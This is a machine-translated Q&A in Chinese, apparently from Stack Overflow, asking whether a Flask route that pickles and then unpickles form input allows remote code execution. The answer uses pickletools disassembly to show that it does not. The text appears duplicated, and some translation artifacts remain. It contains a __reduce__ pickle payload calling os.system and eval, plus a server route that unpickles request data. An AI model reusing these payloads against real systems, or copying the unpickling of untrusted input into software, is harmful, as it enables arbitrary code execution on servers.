如果服务器在 pickle.loads 之前调用 pickle.dumps,RCE 有什么办法吗?
If a server calls pickle.dumps before pickle.loads is there any way for RCE?
免责声明:此问题非恶意提问!!我正在使用自己的虚拟机!
文章 here 演示了加载不受信任的 pickle 数据如何导致远程代码执行,我正在研究在没有安全问题的情况下使用此工作流的方法。
我的问题如下 - 如果我这样做使得 webapp 在 Flask 中收到请求,在 request.form
上使用 pickle.dumps()
,然后在什么上使用 pickle.loads()
以前被转储过,还有办法执行恶意代码吗?
示例服务器代码:
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
此工作流程是否仍然存在漏洞?根据我的理解,当 b64 字符串被传递并由 pickle.loads()
解释时,最常见的 pickle 漏洞利用类型。但是,如果在 pickle.loads()
之前在表单上调用 pickle.dumps()
是否有可能获得相同的结果?
我已经尝试了几件事,但没有成功。如果您知道密码,请告诉我:)
这是来自 the same article
的恶意用户代码示例
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
# Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
# I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side
那将 return 一个 base64 字符串,当被 pickle.loads()
解释时,将执行 cmd.
中的代码
但是如何在请求中传递 RCE()
的结果,以便它可以在 [=20] 之前被服务器端的 pickle.dumps()
转储=] 并且仍然执行恶意代码?
示例(此代码不起作用):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
示例(此代码有效):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
我的想法如下,是否可以有一个字符串,当在服务器端由 pickle.dumps()
序列化时,return 的值与 pickle.dumps(RCE())
相同在客户端执行。当然,由于 request.form
方面的原因,服务器端 pickle.dumps()
的结果会有所不同。据我了解,只要字符串中有可执行代码,pickle.loads()
就会执行。
不,服务器无法通过转储然后加载来执行远程代码,但您也无法加载 pickled 数据结构。
我将使用 pickletools.dis
来演示实际会发生什么:
import pickle
import pickletools
class RCE:
def __reduce__(self):
return eval, ("print('MALICIOUS PYTHON CODE HERE')",)
pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))
pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)
加载恶意代码时,我们加载函数 eval
或 os.system
以及参数,然后 REDUCE
操作代码运行该函数:
what is executed when loading malicious pickle:
0: \x80 PROTO 3
2: c GLOBAL 'builtins eval'
17: q BINPUT 0
19: X BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
59: q BINPUT 1
61: \x85 TUPLE1
62: q BINPUT 2
64: R REDUCE
65: q BINPUT 3
67: . STOP
pickled 恶意代码本身虽然只是一个字节对象,
pickle is type: <class 'bytes'>
所以如果你转储加载将只加载一个文字字节对象(或者如果你正在进行 base64 编码,则可能是字符串,但无论哪种方式,此时它只是一个文字)
what is executed when loading the dump of malicious
0: \x80 PROTO 3
2: C SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
72: q BINPUT 0
74: . STOP
highest protocol among opcodes = 3
这意味着如果服务器只是在输入中调用 pickle.dumps
(这是一个包含 pickle 数据的 base64 数据字符串或字节数据,无论哪种方式,它在转储时都只是一个文字值)然后当它对该结果调用 pickle.loads
时 它将返回原始输入。
任何将用户输入解释为 pickle 数据的场景都是易受攻击的——但你在这里没有这样做——你是从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。
免责声明:此问题非恶意提问!!我正在使用自己的虚拟机!
文章 here 演示了加载不受信任的 pickle 数据如何导致远程代码执行,我正在研究在没有安全问题的情况下使用此工作流的方法。
我的问题如下 - 如果我这样做使得 webapp 在 Flask 中收到请求,在 request.form
上使用 pickle.dumps()
,然后在什么上使用 pickle.loads()
以前被转储过,还有办法执行恶意代码吗?
示例服务器代码:
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
此工作流程是否仍然存在漏洞?根据我的理解,当 b64 字符串被传递并由 pickle.loads()
解释时,最常见的 pickle 漏洞利用类型。但是,如果在 pickle.loads()
之前在表单上调用 pickle.dumps()
是否有可能获得相同的结果?
我已经尝试了几件事,但没有成功。如果您知道密码,请告诉我:)
这是来自 the same article
的恶意用户代码示例 import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
# Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
# I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side
那将 return 一个 base64 字符串,当被 pickle.loads()
解释时,将执行 cmd.
但是如何在请求中传递 RCE()
的结果,以便它可以在 [=20] 之前被服务器端的 pickle.dumps()
转储=] 并且仍然执行恶意代码?
示例(此代码不起作用):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
示例(此代码有效):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
我的想法如下,是否可以有一个字符串,当在服务器端由 pickle.dumps()
序列化时,return 的值与 pickle.dumps(RCE())
相同在客户端执行。当然,由于 request.form
方面的原因,服务器端 pickle.dumps()
的结果会有所不同。据我了解,只要字符串中有可执行代码,pickle.loads()
就会执行。
不,服务器无法通过转储然后加载来执行远程代码,但您也无法加载 pickled 数据结构。
我将使用 pickletools.dis
来演示实际会发生什么:
import pickle
import pickletools
class RCE:
def __reduce__(self):
return eval, ("print('MALICIOUS PYTHON CODE HERE')",)
pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))
pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)
加载恶意代码时,我们加载函数 eval
或 os.system
以及参数,然后 REDUCE
操作代码运行该函数:
what is executed when loading malicious pickle:
0: \x80 PROTO 3
2: c GLOBAL 'builtins eval'
17: q BINPUT 0
19: X BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
59: q BINPUT 1
61: \x85 TUPLE1
62: q BINPUT 2
64: R REDUCE
65: q BINPUT 3
67: . STOP
pickled 恶意代码本身虽然只是一个字节对象,
pickle is type: <class 'bytes'>
所以如果你转储加载将只加载一个文字字节对象(或者如果你正在进行 base64 编码,则可能是字符串,但无论哪种方式,此时它只是一个文字)
what is executed when loading the dump of malicious
0: \x80 PROTO 3
2: C SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
72: q BINPUT 0
74: . STOP
highest protocol among opcodes = 3
这意味着如果服务器只是在输入中调用 pickle.dumps
(这是一个包含 pickle 数据的 base64 数据字符串或字节数据,无论哪种方式,它在转储时都只是一个文字值)然后当它对该结果调用 pickle.loads
时 它将返回原始输入。
任何将用户输入解释为 pickle 数据的场景都是易受攻击的——但你在这里没有这样做——你是从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。